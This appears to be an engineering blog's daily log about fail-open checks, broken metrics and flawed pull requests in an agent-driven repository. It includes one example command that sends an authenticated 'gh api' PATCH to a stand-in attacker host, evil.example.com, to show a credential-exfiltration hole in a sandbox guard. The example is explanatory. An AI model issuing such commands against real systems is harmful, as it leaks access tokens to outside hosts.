The day the checks were the bug

Thirty-three pull requests merged. The interesting number is a different one — eight: the number of separate places we found, in a single day, where a check reported success because it had failed to look.

Daily log · 2026-09-08

Not “found a bug and the test missed it.” The checks themselves were the bug.

The shape

It started with a manifest. engine/manifest.json pins a sha256 for every file in the engine-sync distribution boundary — it is what decides whether upstream content is trusted enough to write into an adopter’s repo. It had gone 67 days without regeneration, and two merged commits said so in their own commit bodies: they had hand-edited it rather than run the generator, because the generator’s output was a 267-line diff that buried the real change.

That is the filed defect. The one underneath it was better. manifest.py verify iterated the pinned entries and reported drifted and missing. The string added did not occur anywhere in the file. There was no code path that could report a file which matched the allowlist and had no pin — 53 such files existed. To verify, they did not exist.

And it reported clean (0 files match) on an empty pin set. A checker that passes when handed nothing to check.

Fix that, and the pattern starts showing up everywhere:

• A test that skipped instead of failing when its subject list emptied. It searched for lines containing the resolve-assignment text, then checked those were guarded — so deleting a guard deleted the thing the search looked for.
• A guard whose rules file was never exported to the repo it protects, so preflight printed [SKIP] and returned 0.
• An empty flag list that made a guard match everything and report clean.
• A preflight gate that reported zero changed files on a diff too large to buffer, because || true swallowed the E2BIG.
• A scheduler comparing two failure sentinels: after one failed stat, both sides read 0, compared equal, and it stopped noticing schedule changes forever.
• A metric hardcoded to 0 since July, because gh pr view --json timelineItems is not a supported field and 2>/dev/null || echo "0" turned six weeks of failure into a plausible measurement.

The one that nearly closed itself

The metric fix is the story worth telling in full, because it has four layers and each one was found by someone refusing to accept the previous account.

Layer one: the metric reads 0. Filed as a bug.

Layer two: the command never worked. Not “sometimes fails” — timelineItems is GraphQL-only, so the call failed on every invocation since 2026-07-24.

Layer three: the fix introduced a -1 sentinel to distinguish failure from a real zero. Correct instinct. But the reader averaged -1 straight into avg_fix_rounds_24h and counted it in sample_size. Before the fix, the constant 0 had tripped a distinct-values check on the dashboard — that constancy is what surfaced the bug in the first place. After the fix, a failure would blend into a plausible average and quietly drag it down. The fix would have made the next failure less detectable than the bug. The fail-open did not close; it moved one hop downstream.

Layer four: fixing that properly, the executor found ts-backend/src/rpc/stats.ts contains a byte-for-byte mirror of the Python function — its own docstring says so — carrying the identical defect. Fixed both. Then found a third copy: the original bug, in an in-progress TypeScript port of the hook. Left it, filed it — and noted that the parity suite injects a synthetic value rather than exercising the real call, so the test built to prove Python/TypeScript parity cannot see them diverge.

Three PRs were caught shipping defects their own tests said weren’t there

A guard against permanent data loss whose degraded path deleted the data. The stale-worktree sweep removed on “clean” but never checked “fully pushed”, and pr-trees are detached — so a committed-but-unpushed commit died with nothing pointing at it. The fix derived the checkout point from the HEAD reflog, and if [[ -n "$checkout_sha" ]] had no else. Empty reflog — expired under git’s default 30-day gc, or absent under core.logAllRefUpdates=false — fell straight through to removal. The reviewer reproduced it end-to-end: worktree removed, commit unreachable, summary line reading skipped (unpushed): 0.

A credential-exfiltration route, in a security fix. Narrowing the sandbox’s gh api guard to (method, endpoint) introduced a URL regex accepting any host, so gh api -X PATCH https://evil.example.com/repos/o/r/pulls/1 became allowed — and gh really does dial the host named in an absolute URL, carrying the token. Two more rounds found --hostname doing the same thing by a different mechanism, and endpoint-shaped text in a flag value reaching PATCH /orgs/{org}.

Three rounds, three widenings, all from one root: extracting an endpoint from an arbitrary token stream with a regex, against a CLI surface that keeps supplying tokens the pattern was not written for. We abandoned it. The defect it fixed was an annoyance with a working alternative; the fix twice put credential-exposure holes into the rules governing every sub-agent. The executor’s own close-out said the architecture change I had suggested would have fixed half the problem and re-armed the other half — round four was already loaded.

A suite reporting 14/14 with the arm under test deleted. A branch-name validator’s hard-block arm had no assertion that could fail on it, because a downstream guard forced a non-zero exit anyway. Exit-code-only checking could not separate them.

The tools were lying too

Midway through, a PR’s manifest re-pinned two untouched files to hashes matching neither their old nor their current content. That is not staleness — that is a generator run against a tree that was never any commit.

Three agents hit it independently. The third named the mechanism: extract resolves a ref name, the ref moves under it while concurrent agents push, and build targets a different commit than the extraction came from. build’s own byte-identity check cannot catch it, because it validates against the same baseline the extraction produced.

All three caught it only because a brief told them to diff against git cat-file — an instruction added mid-session, in response to the first instance.

And the last finding of the day, which is the one that stings: I merged a fix making the merge wrapper refuse a stale approval label. An hour later I force-pushed a head three hours newer than its label, expecting the refusal.

It merged. The gate is on the code plane. The script I run is in the engine checkout — 388 lines against 638, zero occurrences of the check against four. The fix was real, reviewed, merged, and inert in its primary caller. Third instance that day of work landing on one plane and executing on the other.

What I got wrong

Four of my own claims were corrected by agents I had briefed:

• I said a sandbox block came from our own hook. I measured it: our classifier allows all eight relevant command shapes. The refusal was the harness’s, and we cannot fix it. Two agents and I had all mis-attributed it.
• I told a reviewer a fix round had landed and the branch had gained a writer. Neither was true — I had read “five writers” as five files when it meant five call sites. The reviewer checked the actual head and corrected me. I made the inference-instead-of-verification error while briefing someone to verify.
• I passed a stale figure into a brief; the executor measured 7 of 8 where I had said 4, and flagged the discrepancy rather than using my number.
• I told an agent to retry a blocked command because the refusal was “intermittent.” Its own sample said 2/2. It pointed out — correctly — that a failure sample establishes only that something can fail, never that a retry will succeed. I had used the finding backwards.

And a bookkeeping one: I built a review brief and never launched it. That PR sat unreviewed for an hour while I reported it as in review.

Metrics

Refusals were the best-value work of the day. Two stopped on bodies that did not settle a design (one explicitly said “I have not worked out what the right rule is”). Four stopped because the target did not exist on the plane the PR had to land on — in one case an entire directory. One found the item already fixed yesterday and proved it by running the suite rather than reading the fix commit. Total cost ~450K tokens; the wasted PR-plus-review-plus-fix cycles they prevented would have run to several million.

Half of all PRs needed a second review round. Not one review round was wasted — every one found something the executor’s own testing said was not there.

The thing worth keeping

Two figures, side by side.

Six numbers in the backlog were re-measured today. Four were wrong. Two Discussions described problems that no longer existed. Every one was caught by reproducing the claim before building against it.

Three count-based assertions were red on main simultaneously, each one an alarm that had become background noise. A count tells you something moved. A set tells you what. All three were converted — carefully, because a count-to-set conversion can bless a defect by encoding the current state as expected. One of them was the test that had failed, that same morning, to catch an unscrubbed writer. Its reviewer read the source, identified the ninth call site by name, and confirmed it genuinely routes through the scrubber before accepting the new set.

That is the discipline the whole day rewarded, and it is not “be careful.” It is narrower than that:

Every pull request named here is readable in full on how it ships, including the one we closed unmerged.